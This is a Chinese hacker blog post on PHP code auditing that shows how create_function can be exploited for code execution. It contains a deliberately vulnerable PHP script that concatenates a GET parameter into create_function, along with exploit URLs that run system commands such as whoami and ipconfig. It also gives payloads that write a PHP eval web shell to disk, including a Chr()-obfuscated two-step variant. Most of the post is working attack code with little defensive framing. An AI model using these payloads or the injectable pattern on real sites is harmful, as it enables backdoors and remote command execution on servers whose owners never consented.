注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

K8拉登哥哥's Blog

K8搞基大队[K8team] 信息安全 网络安全 0day漏洞 渗透测试 黑客

 
 
 

日志

 
 

代码审计 PHP函数create_function代码执行  

2015-04-07 09:51:57|  分类: PHP |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |


2015.1.30  by K8拉登哥哥

//写shell  这样写出的shell有问题 变成这样  '<?php @eval()?>' $_Post输出不了
create_function('$a', '($bbb);}@eval(fputs(fopen("shell.php","w"),"<?php @eval($_POST[tom])?>"));/*');

把$_Post转成 CHR的连接符 shell又连不上  于是分成两步来生成此shell

//此语句先生成 wshell.php 再访问wshell.php 生成一句话

create_function('$a', '($bbb);}@eval(fputs(fopen("wshell.php","w"),"<?php @eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(115).Chr(104).Chr(101).Chr(108).Chr(108).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(116).Chr(111).Chr(109).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59));?>"));/*');




<?php
//how to exp this code
# /create_function.php?sort_by="]);}phpinfo();/*
# http://localhost/php/exp/create_function.php?sort_by=%22%5D%29;}echo%20system%28ipconfig%29;/*
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = '  return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
echo $sort_function.'<BR />'.'<BR />';
usort($databases, create_function('$a, $b', $sort_function));//漏洞

#usort($databases, create_function('$a, $b', 'return 1 * strnatcasecmp($a[""]);}echo system(whoami);/*"], $b[""]);}/*"]);'));

#create_function('$a, $b', 'return 1 * strnatcasecmp($a[""]);}echo system(whoami);/*"], $b[""]);}/*"]);');

?>


/////深入分析

<?php
//how to exp this code
# http://localhost/php/exp/create_function.php?sort_by=%22%5D%29;}echo%20system%28ipconfig%29;/*
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = '  return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
//echo $sort_function.'<BR />'.'<BR />';
#usort($databases, create_function('$a, $b', $sort_function));//漏洞触发 原代码

////下面开始深入分析
#usort($databases, create_function('$a, $b', 'return 1 * strnatcasecmp($a[""]);}echo system(whoami);/*"], $b[""]);}/*"]);'));
#create_function('$a, $b', 'return 1 * strnatcasecmp($a[""]);}echo system(whoami);/*"], $b[""]);}/*"]);');

#usort($databases, create_function('$aaaaaa', $sort_function));//这样也触发
#create_function('$a', $sort_function);//这样也可以
#create_function('$a', '($a[""]);}echo system(whoami);/*');//这样也可以
#create_function('$a', '($a["aaaaa"]);}system(whoami);/*');//这样也可以
#create_function('$a', '($a);}system(whoami);/*');//这样也可以
create_function('$a', '($bbb);}system(whoami);/*');//变量名不对应也可以


?>
  评论这张
 
阅读(1087)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2016